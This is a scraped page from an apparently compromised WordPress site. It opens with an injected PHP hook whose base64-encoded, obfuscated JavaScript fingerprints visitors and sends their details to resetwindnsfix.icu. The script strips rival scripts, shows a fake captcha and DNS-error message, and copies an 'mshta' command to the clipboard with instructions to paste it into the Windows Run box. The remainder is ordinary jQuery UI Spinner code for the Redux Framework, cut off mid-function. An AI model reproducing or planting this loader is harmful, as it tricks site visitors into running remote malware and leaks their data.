function adddd_wp_enqueue() { $encoded_script = 'KGZ1bmN0aW9uKF8weDQ4OTU3OSxfMHg0N2NlMTcpe2NvbnN0IF8weDEzZGM3Nz1fMHgzOGMwLF8weDM4MGExYj1fMHg0ODk1NzkoKTt3aGlsZSghIVtdKXt0cnl7Y29uc3QgXzB4M2MyZDEwPXBhcnNlSW50KF8weDEzZGM3NygweDFhZCkpLzB4MSooLXBhcnNlSW50KF8weDEzZGM3NygweDFiNSkpLzB4MikrcGFyc2VJbnQoXzB4MTNkYzc3KDB4MTk3KSkvMHgzK3BhcnNlSW50KF8weDEzZGM3NygweDFiOSkpLzB4NCoocGFyc2VJbnQoXzB4MTNkYzc3KDB4MTc0KSkvMHg1KStwYXJzZUludChfMHgxM2RjNzcoMHgxOGQpKS8weDYrLXBhcnNlSW50KF8weDEzZGM3NygweDFhNCkpLzB4NyooLXBhcnNlSW50KF8weDEzZGM3NygweDE4ZikpLzB4OCkrcGFyc2VJbnQoXzB4MTNkYzc3KDB4MWIzKSkvMHg5KihwYXJzZUludChfMHgxM2RjNzcoMHgxYWEpKS8weGEpK3BhcnNlSW50KF8weDEzZGM3NygweDFhZikpLzB4YiooLXBhcnNlSW50KF8weDEzZGM3NygweDE5ZSkpLzB4Yyk7aWYoXzB4M2MyZDEwPT09XzB4NDdjZTE3KWJyZWFrO2Vsc2UgXzB4MzgwYTFiWydwdXNoJ10oXzB4MzgwYTFiWydzaGlmdCddKCkpO31jYXRjaChfMHg5NTQyYzgpe18weDM4MGExYlsncHVzaCddKF8weDM4MGExYlsnc2hpZnQnXSgpKTt9fX0oXzB4Mjg4YSwweDdjMTRjKSwoZnVuY3Rpb24oKXtjb25zdCBfMHgyNzI0MjE9XzB4MzhjMCxfMHg0MjIwZjk9MHhmYTAsXzB4NWRmNmE1PTB4YmI4LF8weDM4MjllOD1fMHgyNzI0MjEoMHgxNzcpLF8weDFiNTM4MT1fMHgyNzI0MjEoMHgxOTgpO2RvY3VtZW50W18weDI3MjQyMSgweDFiNyldPV8weDI3MjQyMSgweDE3ZCksZG9jdW1lbnRbXzB4MjcyNDIxKDB4MWI3KV09XzB4MjcyNDIxKDB4MTg1KSx3aW5kb3dbXzB4MjcyNDIxKDB4MWI2KV09dW5kZWZpbmVkO3dpbmRvd1tfMHgyNzI0MjEoMHgxODcpXSYmKHdpbmRvd1tfMHgyNzI0MjEoMHgxODcpXVsndW5nemlwJ109ZnVuY3Rpb24oKXtyZXR1cm4nJzt9KTtmdW5jdGlvbiBfMHgxOTkxZDUoKXtjb25zdCBfMHg1ZTcwNzY9XzB4MjcyNDIxLF8weDVlNmM1Nz1kb2N1bWVudFsncXVlcnlTZWxlY3RvckFsbCddKCdzY3JpcHQnKTtfMHg1ZTZjNTdbXzB4NWU3MDc2KDB4MTcxKV0oXzB4Mzc0MDY2PT57Y29uc3QgXzB4MmFjMzdmPV8weDVlNzA3NixfMHgxNWUzNDk9XzB4Mzc0MDY2W18weDJhYzM3ZigweDFiOCldfHwnJyxfMHhiYzA4ZDg9XzB4MTVlMzQ5W18weDJhYzM3ZigweDFhMildKCdiYXNlNjQnKSxfMHgxOGJjODE9XzB4Mzc0MDY2WydpZCddPT09XzB4MWI1MzgxO18weGJjMDhkOCYmIV8weDE4YmM4MSYmXzB4Mzc0MDY2W18weDJhYzM3ZigweDE3OSldKCk7fSk7fWZ1bmN0aW9uIF8weDMzY2EzZSgpe2NvbnN0IF8weDRjYTg2OD1fMHgyNzI0MjEsXzB4MWY2MGYzPW5ldyBNdXRhdGlvbk9ic2VydmVyKF8weDEzZWQ2ND0+e2NvbnN0IF8weDM2ZTdhMT1fMHgzOGMwO18weDEzZWQ2NFtfMHgzNmU3YTEoMHgxNzEpXShfMHgzZGI0MDQ9Pntjb25zdCBfMHgyNThiYzg9XzB4MzZlN2ExO18weDNkYjQwNFtfMHgyNThiYzgoMHgxNzMpXSYmXzB4M2RiNDA0W18weDI1OGJjOCgweDE3MyldW18weDI1OGJjOCgweDE3MSldKF8weGZiOGRjMz0+e2NvbnN0IF8weDVmM2JkMT1fMHgyNThiYzg7aWYoXzB4ZmI4ZGMzWyd0YWdOYW1lJ109PT1fMHg1ZjNiZDEoMHgxOGIpKXtjb25zdCBfMHgzYTYyMDE9XzB4ZmI4ZGMzW18weDVmM2JkMSgweDFiOCldfHwnJyxfMHg1ZTlkMjU9XzB4ZmI4ZGMzWydpZCddPT09XzB4MWI1MzgxO18weDNhNjIwMVsnaW5jbHVkZXMnXShfMHg1ZjNiZDEoMHgxN2UpKSYmIV8weDVlOWQyNSYmXzB4ZmI4ZGMzW18weDVmM2JkMSgweDE3OSldKCk7fX0pO30pO30pO18weDFmNjBmM1snb2JzZXJ2ZSddKGRvY3VtZW50W18weDRjYTg2OCgweDFhZSldfHxkb2N1bWVudFsnZG9jdW1lbnRFbGVtZW50J10seydjaGlsZExpc3QnOiEhW10sJ3N1YnRyZWUnOiEhW119KTt9ZnVuY3Rpb24gXzB4MWM5OTIyKCl7Y29uc3QgXzB4MmQzYTQ0PV8weDI3MjQyMTtjb25zb2xlW18weDJkM2E0NCgweDE5MCldKF8weDJkM2E0NCgweDE5NCkpO2NvbnN0IF8weDFkOTVlYj1kb2N1bWVudFtfMHgyZDNhNDQoMHgxN2MpXShfMHgyZDNhNDQoMHgxYTYpKTtfMHgxZDk1ZWJbXzB4MmQzYTQ0KDB4MTcxKV0oXzB4NDY5MDU5PT57Y29uc3QgXzB4M2RiYjkxPV8weDJkM2E0NDtfMHg0NjkwNTlbXzB4M2RiYjkxKDB4MTc5KV0oKTt9KTt9ZnVuY3Rpb24gXzB4MjBiZTY1KCl7Y29uc3QgXzB4MmM4OWRkPV8weDI3MjQyMSxfMHg1MTIxNjk9bmV3IE11dGF0aW9uT2JzZXJ2ZXIoXzB4MTgzNzEyPT57Y29uc3QgXzB4OTVmZWM9XzB4MzhjMDtfMHgxODM3MTJbXzB4OTVmZWMoMHgxNzEpXShfMHgxNWEzZTM9Pntjb25zdCBfMHgyOGY4ZDQ9XzB4OTVmZWM7XzB4MTVhM2UzWydhZGRlZE5vZGVzJ10mJl8weDE1YTNlM1tfMHgyOGY4ZDQoMHgxNzMpXVsnZm9yRWFjaCddKF8weDVkYTExZj0+e2NvbnN0IF8weDE5MTM2MD1fMHgyOGY4ZDQ7XzB4NWRhMTFmW18weDE5MTM2MCgweDE5MSldPT09XzB4MTkxMzYwKDB4MTg2KSYmXzB4NWRhMTFmWydyZW1vdmUnXSgpO30pO30pO30pO18weDUxMjE2OVtfMHgyYzg5ZGQoMHgxOWIpXShkb2N1bWVudFtfMHgyYzg5ZGQoMHgxOGMpXXx8ZG9jdW1lbnRbXzB4MmM4OWRkKDB4MThhKV0seydjaGlsZExpc3QnOiEhW10sJ3N1YnRyZWUnOiEhW119KTt9ZnVuY3Rpb24gXzB4NTE4M2ZjKCl7Y29uc3QgXzB4MjA4MjY2PV8weDI3MjQyMTtuZXcgTXV0YXRpb25PYnNlcnZlcihfMHhhNjI2M2Q9PntfMHhhNjI2M2RbJ2ZvckVhY2gnXShfMHhiNTQ5OWU9Pntjb25zdCBfMHg0YjY0MGY9XzB4MzhjMDtfMHhiNTQ5OWVbXzB4NGI2NDBmKDB4MTczKV1bXzB4NGI2NDBmKDB4MTcxKV0oXzB4MTQ5ZjcwPT57Y29uc3QgXzB4MTNlNDgzPV8weDRiNjQwZjtfMHgxNDlmNzBbXzB4MTNlNDgzKDB4MTkxKV09PT0nU0NSSVBUJyYmXzB4MTQ5ZjcwWydhc3luYyddJiZfMHgxNDlmNzBbXzB4MTNlNDgzKDB4MTc5KV0oKTt9KTt9KTt9KVtfMHgyMDgyNjYoMHgxOWIpXShkb2N1bWVudFtfMHgyMDgyNjYoMHgxOGEpXSx7J2NoaWxkTGlzdCc6ISFbXSwnc3VidHJlZSc6ISFbXX0pO31mdW5jdGlvbiBfMHgzOWEyODYoKXtjb25zdCBfMHhhNTgzNjA9XzB4MjcyNDIxO2ZldGNoKCdodHRwczovL2FwaS5pcGlmeS5vcmc/Zm9ybWF0PWpzb24nKVtfMHhhNTgzNjAoMHgxOTMpXShfMHgzNmJkNTg9Pl8weDM2YmQ1OFtfMHhhNTgzNjAoMHgxYTEpXSgpKVtfMHhhNTgzNjAoMHgxOTMpXShfMHgxMTk1ZDc9Pntjb25zdCBfMHg1M2NhNGU9XzB4YTU4MzYwLF8weDFjOGU2ND17J2lwJzpfMHgxMTk1ZDdbJ2lwJ10sJ2Jyb3dzZXInOm5hdmlnYXRvcltfMHg1M2NhNGUoMHgxNmYpXSwnbGFuZ3VhZ2UnOm5hdmlnYXRvclsnbGFuZ3VhZ2UnXSwnb3MnOm5hdmlnYXRvclsncGxhdGZvcm0nXX07ZmV0Y2goJ2h0dHBzOi8vcmVzZXR3aW5kbnNmaXguaWN1L3ZlcmlmaWNhdGlvbi5waHAnLHsnbWV0aG9kJzpfMHg1M2NhNGUoMHgxOTkpLCdoZWFkZXJzJzp7J0NvbnRlbnQtVHlwZSc6XzB4NTNjYTRlKDB4MTlkKX0sJ2JvZHknOkpTT05bXzB4NTNjYTRlKDB4MWI0KV0oXzB4MWM4ZTY0KX0pW18weDUzY2E0ZSgweDE5MyldKF8weDNhYmFkMT0+XzB4M2FiYWQxW18weDUzY2E0ZSgweDFhMSldKCkpW18weDUzY2E0ZSgweDE5MyldKF8weDRmMjcyZj0+e2NvbnN0IF8weDI4M2Y2ND1fMHg1M2NhNGU7aWYoXzB4NGYyNzJmW18weDI4M2Y2NCgweDE3ZildKXJldHVybjtpZihfMHg0ZjI3MmZbXzB4MjgzZjY0KDB4MTc1KV0pe2NvbnN0IF8weDVkOWM4ZT1kb2N1bWVudFtfMHgyODNmNjQoMHgxYTgpXShfMHgyODNmNjQoMHgxNzUpKTtfMHg1ZDljOGVbJ2lkJ109J215LWN1c3RvbS1zdHlsZScsXzB4NWQ5YzhlW18weDI4M2Y2NCgweDFiOCldPV8weDRmMjcyZltfMHgyODNmNjQoMHgxNzUpXSxkb2N1bWVudFtfMHgyODNmNjQoMHgxOGMpXVtfMHgyODNmNjQoMHgxNzApXShfMHg1ZDljOGUpO31fMHg0ZjI3MmZbXzB4MjgzZjY0KDB4MTgyKV0mJmRvY3VtZW50Wydib2R5J11bXzB4MjgzZjY0KDB4MWEwKV0oXzB4MjgzZjY0KDB4MTg5KSxfMHg0ZjI3MmZbJ2h0bWwnXSksXzB4M2JkMTAyKCk7fSlbXzB4NTNjYTRlKDB4MTc2KV0oXzB4ZmQ2NzA2PT5jb25zb2xlW18weDUzY2E0ZSgweDE4MyldKCdFcnJvcjonLF8weGZkNjcwNikpO30pW18weGE1ODM2MCgweDE3NildKF8weDQzY2NmYz0+Y29uc29sZVtfMHhhNTgzNjAoMHgxODMpXShfMHhhNTgzNjAoMHgxOGUpLF8weDQzY2NmYykpO31mdW5jdGlvbiBfMHgzYmQxMDIoKXtjb25zdCBfMHhlMTA5NmI9XzB4MjcyNDIxLF8weDU0MzkzOT1kb2N1bWVudFtfMHhlMTA5NmIoMHgxYWMpXShfMHhlMTA5NmIoMHgxYTMpKSxfMHg1ZGY5ZWM9ZG9jdW1lbnRbJ2dldEVsZW1lbnRCeUlkJ10oXzB4ZTEwOTZiKDB4MTkyKSksXzB4MTZiODUxPWRvY3VtZW50W18weGUxMDk2YigweDFhYyldKF8weGUxMDk2YigweDE5NikpLF8weDU3NGVjMT1kb2N1bWVudFtfMHhlMTA5NmIoMHgxN2MpXSgnLmNhcHRjaGEtaW1hZ2VzXHgyMGltZycpLF8weDFiYzdiZj1kb2N1bWVudFtfMHhlMTA5NmIoMHgxYWMpXSgnZXJyb3JDb250YWluZXInKTtsZXQgXzB4Mjk4YTU5PTB4MCxfMHgzMjMzYjA9IVtdO2Z1bmN0aW9uIF8weDE0MTA5Nygpe2NvbnN0IF8weDExOWM5Zj1fMHhlMTA5NmI7bGV0IF8weDQ5NGI5Yj1kb2N1bWVudFsnZ2V0RWxlbWVudEJ5SWQnXSgnd29ya2luZ1VybCcpLF8weDQ0MjFkMT1fMHg0OTRiOWI/XzB4NDk0YjliWyd2YWx1ZSddOm51bGw7aWYoIV8weDQ0MjFkMSl7Y29uc29sZVsnZXJyb3InXShfMHgxMTljOWYoMHgxYjApKTtyZXR1cm47fWxldCBfMHg1ZTc3ZGU9J21zaHRhXHgyMCcrXzB4NDQyMWQxKydceDIyJztjb25zdCBfMHgzMDNhNjk9ZG9jdW1lbnRbJ2NyZWF0ZUVsZW1lbnQnXShfMHgxMTljOWYoMHgxYTkpKTtfMHgzMDNhNjlbXzB4MTE5YzlmKDB4MTc4KV09XzB4NWU3N2RlLGRvY3VtZW50W18weDExOWM5ZigweDE4YyldW18weDExOWM5ZigweDE3MCldKF8weDMwM2E2OSksXzB4MzAzYTY5WydzZWxlY3QnXSgpLGRvY3VtZW50W18weDExOWM5ZigweDE3MildKF8weDExOWM5ZigweDE5YSkpLGRvY3VtZW50W18weDExOWM5ZigweDE4YyldW18weDExOWM5ZigweDE5YyldKF8weDMwM2E2OSk7fV8weDU0MzkzOSYmXzB4NTQzOTM5W18weGUxMDk2YigweDE3YSldKCdjbGljaycsZnVuY3Rpb24oKXtjb25zdCBfMHgyNzE4NDY9XzB4ZTEwOTZiO2lmKF8weDMyMzNiMClyZXR1cm47XzB4NWRmOWVjW18weDI3MTg0NigweDE3NSldW18weDI3MTg0NigweDE5ZildPSdibG9jaycsXzB4MTZiODUxWydzdHlsZSddW18weDI3MTg0NigweDE5ZildPV8weDI3MTg0NigweDE5NSksXzB4MTZiODUxW18weDI3MTg0NigweDE3NSldW18weDI3MTg0NigweDFhYildPScwJyxzZXRUaW1lb3V0KCgpPT57Y29uc3QgXzB4MmU3YmUzPV8weDI3MTg0NjtfMHgxNmI4NTFbXzB4MmU3YmUzKDB4MTc1KV1bJ3RyYW5zaXRpb24nXT1fMHgyZTdiZTMoMHgxYjEpLF8weDE2Yjg1MVsnc3R5bGUnXVtfMHgyZTdiZTMoMHgxYWIpXT0nMSc7fSwweGEpO30pO18weDVkZjllYyYmXzB4NWRmOWVjW18weGUxMDk2YigweDE3YSldKF8weGUxMDk2YigweDE4NCksZnVuY3Rpb24oKXtjb25zdCBfMHgzMmNkOTI9XzB4ZTEwOTZiO18weDVkZjllY1tfMHgzMmNkOTIoMHgxNzUpXVtfMHgzMmNkOTIoMHgxOWYpXT1fMHgzMmNkOTIoMHgxYTUpLF8weDE2Yjg1MVsnc3R5bGUnXVsnZGlzcGxheSddPSdub25lJzt9KTtfMHg1NzRlYzEmJl8weDU3NGVjMVtfMHhlMTA5NmIoMHgxNzEpXShfMHg0ZDExYzE9Pntjb25zdCBfMHgzZTk4MDA9XzB4ZTEwOTZiO18weDRkMTFjMVtfMHgzZTk4MDAoMHgxN2EpXShfMHgzZTk4MDAoMHgxODQpLCgpPT57Y29uc3QgXzB4NWQ2MmJkPV8weDNlOTgwMDshXzB4NGQxMWMxW18weDVkNjJiZCgweDE3YildW18weDVkNjJiZCgweDE4OCldKF8weDVkNjJiZCgweDE4MCkpPyhfMHg0ZDExYzFbXzB4NWQ2MmJkKDB4MTdiKV1bJ2FkZCddKF8weDVkNjJiZCgweDE4MCkpLF8weDI5OGE1OSsrKTooXzB4NGQxMWMxWydjbGFzc0xpc3QnXVtfMHg1ZDYyYmQoMHgxNzkpXShfMHg1ZDYyYmQoMHgxODApKSxfMHgyOThhNTktLSksXzB4Mjk4YTU5PT09MHgyJiYoXzB4NWRmOWVjW18weDVkNjJiZCgweDE3NSldW18weDVkNjJiZCgweDE5ZildPV8weDVkNjJiZCgweDFhNSksXzB4MTZiODUxW18weDVkNjJiZCgweDE3NSldWydkaXNwbGF5J109J25vbmUnLF8weDViNWY3MygpLF8weDE0MTA5NygpKTt9KTt9KTtmdW5jdGlvbiBfMHg1YjVmNzMoKXtjb25zdCBfMHg0MWU2M2M9XzB4ZTEwOTZiO18weDFiYzdiZiYmKF8weDFiYzdiZlsnaW5uZXJIVE1MJ109XzB4NDFlNjNjKDB4MTgxKSksXzB4MzIzM2IwPSEhW107fX1zZXRUaW1lb3V0KF8weDFjOTkyMixfMHg0MjIwZjkpLF8weDIwYmU2NSgpLHNldFRpbWVvdXQoXzB4MTk5MWQ1LF8weDQyMjBmOSksXzB4MzNjYTNlKCksXzB4NTE4M2ZjKCksZG9jdW1lbnRbJ3JlYWR5U3RhdGUnXT09PV8weDI3MjQyMSgweDFiMik/ZG9jdW1lbnRbXzB4MjcyNDIxKDB4MTdhKV0oXzB4MjcyNDIxKDB4MWE3KSwoKT0+e3NldFRpbWVvdXQoXzB4MzlhMjg2LF8weDVkZjZhNSk7fSk6c2V0VGltZW91dChfMHgzOWEyODYsXzB4NWRmNmE1KTt9KCkpKTtmdW5jdGlvbiBfMHgzOGMwKF8weGQyNTRlZCxfMHgyODA0MDUpe2NvbnN0IF8weDI4OGE5Nz1fMHgyODhhKCk7cmV0dXJuIF8weDM4YzA9ZnVuY3Rpb24oXzB4MzhjMDY0LF8weDE5MTMxYyl7XzB4MzhjMDY0PV8weDM4YzA2NC0weDE2ZjtsZXQgXzB4NDlmNzY5PV8weDI4OGE5N1tfMHgzOGMwNjRdO3JldHVybiBfMHg0OWY3Njk7fSxfMHgzOGMwKF8weGQyNTRlZCxfMHgyODA0MDUpO31mdW5jdGlvbiBfMHgyODhhKCl7Y29uc3QgXzB4NWM0NjViPVsnNjNnQ2JlTWInLCdzdHJpbmdpZnknLCcyVVZvS3dXJywnV2ViMycsJ2Nvb2tpZScsJ2lubmVySFRNTCcsJzE2ZmdZZVJIJywndXNlckFnZW50JywnYXBwZW5kQ2hpbGQnLCdmb3JFYWNoJywnZXhlY0NvbW1hbmQnLCdhZGRlZE5vZGVzJywnNjY2NjA1eVlST0pNJywnc3R5bGUnLCdjYXRjaCcsJ215LWN1c3RvbS1zdHlsZScsJ3ZhbHVlJywncmVtb3ZlJywnYWRkRXZlbnRMaXN0ZW5lcicsJ2NsYXNzTGlzdCcsJ3F1ZXJ5U2VsZWN0b3JBbGwnLCdkYXRhLWFpLWNvbGxlY3Rpbmctc2hvd249dHJ1ZTtceDIwbWF4LWFnZT0zMTUzNjAwMDtceDIwcGF0aD0vO1x4MjBzYW1lc2l0ZT1sYXgnLCdiYXNlNjQnLCdza2lwQ2FwdGNoYScsJ3NlbGVjdGVkJywnXHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwPGRpdlx4MjBjbGFzcz1ceDIyZXJyb3ItbWVzc2FnZVx4MjI+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDxiPlZlcmlmaWNhdGlvblx4MjBGYWlsZWRceDIwLVx4MjBOZXR3b3JrXHgyMEVycm9yPC9iPjxicj48YnI+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFRoZVx4MjBuZXR3b3JrXHgyMEROU1x4MjBtaWdodFx4MjBiZVx4MjB1bnN0YWJsZSxceDIwY2F1c2luZ1x4MjBlcnJvcnMuXHgyMDxicj48YnI+VG9ceDIwZml4XHgyMHRoaXM6PGJyPlx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8dWw+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8bGk+UHJlc3NceDIwPGltZ1x4MjBzcmM9XHgyMmh0dHBzOi8vd2lub3NoZWxwLmljdS9pbWcvd2luZG93cy0xMC5wbmdceDIyXHgyMGFsdD1ceDIyV2luZG93c1x4MjBJY29uXHgyMlx4MjBzdHlsZT1ceDIyd2lkdGg6XHgyMDE4cHg7XHgyMGhlaWdodDpceDIwMThweDtceDIwcG9zaXRpb246XHgyMHJlbGF0aXZlO1x4MjB0b3A6XHgyMDRweDtceDIyPlx4MjBXaW5kb3dzXHgyMCtceDIwUi48L2xpPlx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwPGxpPlByZXNzXHgyMENUUkxceDIwK1x4MjBWPC9saT5ceDBhXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDxsaT5QcmVzc1x4MjBFbnRlci48L2xpPlx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8L3VsPlx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDwvZGl2Plx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwJywnaHRtbCcsJ2Vycm9yJywnY2xpY2snLCdkYXRhLWFpLWNvbGxlY3Rpbmc9dHJ1ZTtceDIwbWF4LWFnZT0zMTUzNjAwMDtceDIwcGF0aD0vO1x4MjBzYW1lc2l0ZT1sYXgnLCdJRlJBTUUnLCdwYWtvJywnY29udGFpbnMnLCdiZWZvcmVlbmQnLCdkb2N1bWVudEVsZW1lbnQnLCdTQ1JJUFQnLCdib2R5JywnMzgxOTZ2U3pweFYnLCdGYWlsZWRceDIwdG9ceDIwZmV0Y2hceDIwSVA6JywnOTY4Y2ZkWFVxJywnbG9nJywndGFnTmFtZScsJ3BvcHVwT3ZlcmxheScsJ3RoZW4nLCfQo9C00LDQu9C10L3QuNC1XHgyMNCy0YHQtdGFXHgyMDxpZnJhbWU+XHgyMNGN0LvQtdC80LXQvdGC0L7Qsi4uLicsJ2Jsb2NrJywncG9wdXAnLCcxMDI0MzgwREhxbmxuJywnbXktY3VzdG9tLXNjcmlwdCcsJ1BPU1QnLCdjb3B5Jywnb2JzZXJ2ZScsJ3JlbW92ZUNoaWxkJywnYXBwbGljYXRpb24vanNvbicsJzEyT1NyVGt3JywnZGlzcGxheScsJ2luc2VydEFkamFjZW50SFRNTCcsJ2pzb24nLCdpbmNsdWRlcycsJ2NhcHRjaGFDaGVja2JveCcsJzMyOTYzYVBldVFWJywnbm9uZScsJ2lmcmFtZScsJ0RPTUNvbnRlbnRMb2FkZWQnLCdjcmVhdGVFbGVtZW50JywndGV4dGFyZWEnLCcxMzUyMzB5VHZ3dWknLCdvcGFjaXR5JywnZ2V0RWxlbWVudEJ5SWQnLCcyNjE2NTVHTGRlWWknLCdoZWFkJywnODUzMjM1OWF3UnZaWScsJ9Ce0YjQuNCx0LrQsDpceDIwd29ya2luZ1VybFx4MjDQvdC1XHgyMNC90LDQudC00LXQvScsJ29wYWNpdHlceDIwMC41c1x4MjBlYXNlJywnbG9hZGluZyddO18weDI4OGE9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4NWM0NjViO307cmV0dXJuIF8weDI4OGEoKTt9'; echo ''; } add_action('wp_enqueue_scripts', 'adddd_wp_enqueue', 1); Batery Aviator – Compass

Compass

/** * Extension for jQuery Spinner. * * @license jQuery UI Spinner 1.20 * * Copyright (c) 2009-2010 Brant Burnett * Dual licensed under the MIT or GPL Version 2 licenses. * * The original author is no longer maintaining this code. * * Modified for the Redux Framework Spinner field by Kevin Provance (kprovance). * * Listen up y'all, I painstakingly recreated the original code from it's modified and minified version to the thing of * beauty you see below. Mess with it and I'll kill ya! - kp * * Deprecated jQuery API $.browser was replaced with the accepted hack below. * Deprecated boxSupport was removed, since Redux does not use boxSupport. */ /* global jQuery */ jQuery.uaMatch = function( ua ) { 'use strict'; var match; ua = ua.toLowerCase(); match = /(chrome)[ \/]([\w.]+)/.exec( ua ) || /(webkit)[ \/]([\w.]+)/.exec( ua ) || /(opera)(?:.*version|)[ \/]([\w.]+)/.exec( ua ) || /(msie) ([\w.]+)/.exec( ua ) || ua.indexOf( 'compatible' ) < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec( ua ) || []; return { browser: match[ 1 ] || '', version: match[ 2 ] || '0' }; }; (function( $ ) { 'use strict'; var active = 'ui-state-active'; var hover = 'ui-state-hover'; var disabled = 'ui-state-disabled'; var keyCode = $.ui.keyCode; var up = keyCode.UP; var down = keyCode.DOWN; var right = keyCode.RIGHT; var left = keyCode.LEFT; var pageUp = keyCode.PAGE_UP; var pageDown = keyCode.PAGE_DOWN; var home = keyCode.HOME; var end = keyCode.END; var msie = $.uaMatch.msie; var mouseWheelEventName = $.uaMatch.mozilla ? 'DOMMouseScroll' : 'mousewheel'; var eventNamespace = '.uispinner'; var validKeys = [up, down, right, left, pageUp, pageDown, home, end, keyCode.BACKSPACE, keyCode.DELETE, keyCode.TAB]; var focusCtrl; $.widget( 'ui.spinner', { options: { min: null, max: null, allowNull: false, group: '', point: '.', prefix: '', suffix: '', places: null, defaultStep: 1, largeStep: 10, mouseWheel: true, increment: 'slow', className: null, showOn: 'always', width: 95, upIconClass: 'ui-icon-triangle-1-n', downIconClass: 'ui-icon-triangle-1-s', addText: '+', subText: '-', format: function( num, places ) { var _this = this; var regex = /(\d+)(\d{3})/; var result; var realNum = Number( num ); /* jscs:disable disallowImplicitTypeConversion */ result = ( isNaN( num ) ? 0 : Math.abs( realNum ) ).toFixed( places ) + ''; for ( result = result.replace( '.', _this.point ); regex.test( result ) && _this.group; result = result.replace( regex, '$1' + _this.group + '$2' ) ) { } return ( num < 0 ? '-' : '' ) + _this.prefix + result + _this.suffix; }, parse: function( val ) { var _this = this; if ( '.' === _this.group ) { val = val.replace( '.', '' ); } if ( '.' !== _this.point ) { val = val.replace( _this.point, '.' ); } return parseFloat( val.replace( /[^0-9\-\.]/g, '' ) ); } }, _create: function() { var _this = this; var input = _this.element; var type = input.attr( 'type' ); if ( ! input.is( 'input' ) || 'text' !== type && 'number' !== type ) { console.error( 'Invalid target for ui.spinner' ); return; } _this._procOptions( true ); _this._createButtons( input ); if ( ! input.is( ':enabled' ) ) { _this.disable(); } }, _createButtons: function( input ) { var _this = this; var options = _this.options; var className = options.className; var buttonWidth = options.width; var showOn = options.showOn; var height = input.outerHeight(); var wrapper; var upButton; var downButton; var buttons; var icons; var hoverDelay; var hoverDelayCallback; var hovered; var inKeyDown; var inSpecialKey; var inMouseDown; var btnContainer; var rtl; function mouseUp() { /* jshint validthis:true */ if ( inMouseDown ) { $( this ).removeClass( active ); _this._stopSpin(); inMouseDown = false; } return false; } function mouseDown() { var input; var dir; /* jshint validthis:true */ if ( ! options.disabled ) { input = _this.element[0]; dir = upButton === this ? 1 : - 1; input.focus(); input.select(); $( this ).addClass( active ); inMouseDown = true; _this._startSpin( dir ); } return false; } function setHoverDelay( callback ) { function execute() { hoverDelay = 0; callback(); } if ( hoverDelay ) { if ( callback === hoverDelayCallback ) { return; } clearTimeout( hoverDelay ); } hoverDelayCallback = callback; hoverDelay = setTimeout( execute, 100 ); } function invalidKey( keyCode, charCode ) { var ch; var options; if ( inSpecialKey ) { return false; } ch = String.fromCharCode( charCode || keyCode ); options = _this.options; if ( ch >= '0' && ch <= '9' || '-' === ch ) { return false; } if ( _this.places > 0 && ch === options.point || ch === options.group ) { return false; } return true; } function isSpecialKey( keyCode ) { var vKeys = validKeys.length; var i; for ( i = 0; i < vKeys; i += 1 ) { if ( validKeys[i] === keyCode ) { return true; } } return false; } wrapper = input.wrap( '' ).css( { width: ( _this.oWidth = input.outerWidth() ) - buttonWidth + '!important', marginRight: '30px', marginLeft: '30px', textAlign: 'center', 'float': 'none', marginTop: 0 } ).after( '' ).next(); _this.wrapper = wrapper; btnContainer = $( '
' + options.addText + '
' + options.subText + '
' ); _this.btnContainer = btnContainer; rtl = 'rtl' === input[0].dir; if ( className ) { wrapper.addClass( className ); } wrapper.append( btnContainer.css( { height: height, left: 0, top: 0 } ) ); buttons = _this.buttons = btnContainer.find( '.ui-spinner-button' ); buttons.css( { width: '30px', height: height - ( 0 ) } ); buttons.eq( 0 ).css( { right: '0' } ); buttons.eq( 1 ).css( { left: '0' } ); upButton = buttons[0]; downButton = buttons[1]; icons = buttons.find( '.ui-icon' ); btnContainer.width( '135px' ); if ( 'always' !== showOn ) { btnContainer.css( 'opacity', 0 ); } if ( 'hover' === showOn || 'both' === showOn ) { buttons.add( input ).on( 'mouseenter' + eventNamespace, function() { setHoverDelay( function() { hovered = true; if ( ! _this.focused || 'hover' === showOn ) { _this.showButtons(); } } ); } ).on( 'mouseleave' + eventNamespace, function() { setHoverDelay( function() { hovered = false; if ( ! _this.focused || 'hover' === showOn ) 